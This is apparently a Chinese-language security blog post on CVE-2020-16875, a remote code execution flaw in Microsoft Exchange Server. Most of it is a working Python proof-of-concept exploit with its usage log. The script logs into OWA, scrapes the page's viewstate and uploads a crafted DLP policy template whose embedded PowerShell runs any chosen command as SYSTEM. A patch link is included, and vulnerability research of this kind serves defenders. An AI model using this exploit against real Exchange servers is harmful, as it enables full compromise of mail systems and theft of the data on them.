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CVE-2020-16875 | Microsoft Exchange Server远程执行代码漏洞

2020-09-14 20:03

Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution VulnerabilityPatch:

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875

NOTES:

需要一个可用的账号并且具备Data Loss Prevention权限

[PS] C:\Windows\system32>New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "harrym"

Name     AssignedRoles         RoleAssignments                 ManagedBy
----     -------------         ---------------                 ---------
dlp users {Data Loss Prevention} {Data Loss Prevention-dlp users} {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}

[PS] C:\Windows\system32>Get-RoleGroup "dlp users" | Format-List

RunspaceId                 : 098e1140-30e3-4144-8028-2174fdb43b85
ManagedBy                   : {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
RoleAssignments             : {Data Loss Prevention-dlp users}
Roles                       : {Data Loss Prevention}
DisplayName                 :
ExternalDirectoryObjectId   :
Members                     : {exchangedemo.com/Users/Harry Mull}
SamAccountName             : dlp users
Description                 :
RoleGroupType               : Standard
LinkedGroup                 :
Capabilities               : {}
LinkedPartnerGroupId       :
LinkedPartnerOrganizationId :
Identity                   : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
IsValid                     : True
ExchangeVersion             : 0.10 (14.0.100.0)
Name                       : dlp users
DistinguishedName           : CN=dlp users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com
Guid                       : fa5c8458-8255-4ffd-b128-2a66bf9dbfd6
ObjectCategory             : exchangedemo.com/Configuration/Schema/Group
ObjectClass                 : {top, group}
WhenChanged                 : 6/12/2020 11:29:31 PM
WhenCreated                 : 6/12/2020 11:29:31 PM
WhenChangedUTC             : 6/12/2020 3:29:31 PM
WhenCreatedUTC             : 6/12/2020 3:29:31 PM
OrganizationId             :
Id                         : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
OriginatingServer           : DEAD01.exchangedemo.com
ObjectState                 : Changed

脚本使用:

researcher@incite:~$ ./poc.py
(+) usage: ./poc.py <target> <user:pass> <cmd>
(+) eg: ./poc.py 192.168.75.142 harrym@exchangedemo.com:user123### mspaint

researcher@incite:~$ ./poc.py 192.168.75.142 harrym@exchangedemo.com:user123### mspaint
(+) logged in as harrym@exchangedemo.com
(+) found the __viewstate: /wEPDwUILTg5MDAzMDFkZFAeyPS7/eBJ4lPNRNPBjm8QiWLWnirQ1vsGlSyjVxa5
(+) executed mspaint as SYSTEM!

脚本源码

#!/usr/bin/env python3
import re
import sys
import random
import string
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def random_string(str_len=8):
  letters = string.ascii_lowercase
  return ''.join(random.choice(letters) for i in range(str_len))

def get_xml(c):
  return """<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
  <contentVersion>4</contentVersion>
  <publisherName>si</publisherName>
  <name>
    <localizedString lang="en"></localizedString>
  </name>
  <description>
    <localizedString lang="en"></localizedString>
  </description>
  <keywords></keywords>
  <ruleParameters></ruleParameters>
  <policyCommands>
    <commandBlock>
      <![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c %s";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start() ]]>
    </commandBlock>
  </policyCommands>
  <policyCommandsResources></policyCommandsResources>
</dlpPolicyTemplate>
</dlpPolicyTemplates>""" % c

def trigger_rce(t, s, vs, cmd):
  f = {
      '__VIEWSTATE': (None, vs),
      'ctl00$ResultPanePlaceHolder$senderBtn': (None, "ResultPanePlaceHolder_ButtonsPanel_btnNext"),
      'ctl00$ResultPanePlaceHolder$contentContainer$name': (None, random_string()),
      'ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl': ("dlprce.xml", get_xml(cmd)),
  }
  r = s.post("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, files=f, verify=False)
  assert r.status_code == 200, "(-) failed to trigger rce!"

def leak_viewstate(t, s):
  r = s.get("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, verify=False)
  match = re.search("<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"(.*)\" />", r.text)
  assert match != None, "(-) couldn't leak the __viewstate!"
  return match.group(1)
   
def log_in(t, usr, pwd):
  s = requests.Session()
  d = {
      "destination" : "https://%s/owa" % t,
      "flags" : "",
      "username" : usr,
      "password" : pwd
  }
  s.post("https://%s/owa/auth.owa" % t, data=d, verify=False)
  assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!"
  return s

def main(t, usr, pwd, cmd):
  s = log_in(t, usr, pwd)
  print("(+) logged in as %s" % usr)
  vs = leak_viewstate(t, s)
  print("(+) found the __viewstate: %s" % vs)
  trigger_rce(t, s, vs, cmd)
  print("(+) executed %s as SYSTEM!" % cmd)

if __name__ == '__main__':
  if len(sys.argv) != 4:
      print("(+) usage: %s <target> <user:pass> <cmd>" % sys.argv[0])
      print("(+) eg: %s 192.168.75.142 harrym@exchangedemo.com:user123### mspaint" % sys.argv[0])
      sys.exit(-1)
  trgt = sys.argv[1]
  assert ":" in sys.argv[2], "(-) you need a user and password!"
  usr = sys.argv[2].split(":")[0]
  pwd = sys.argv[2].split(":")[1]
  cmd = sys.argv[3]
  main(trgt, usr, pwd, cmd)

poc (ps-remoting): https://srcincite.io/pocs/cve-2020-16875.ps1.txt

poc (http): https://srcincite.io/pocs/cve-2020-16875.py.txt



知识来源: https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&mid=2247484619&idx=2&sn=355f1b715882864a07b0b68902439b84

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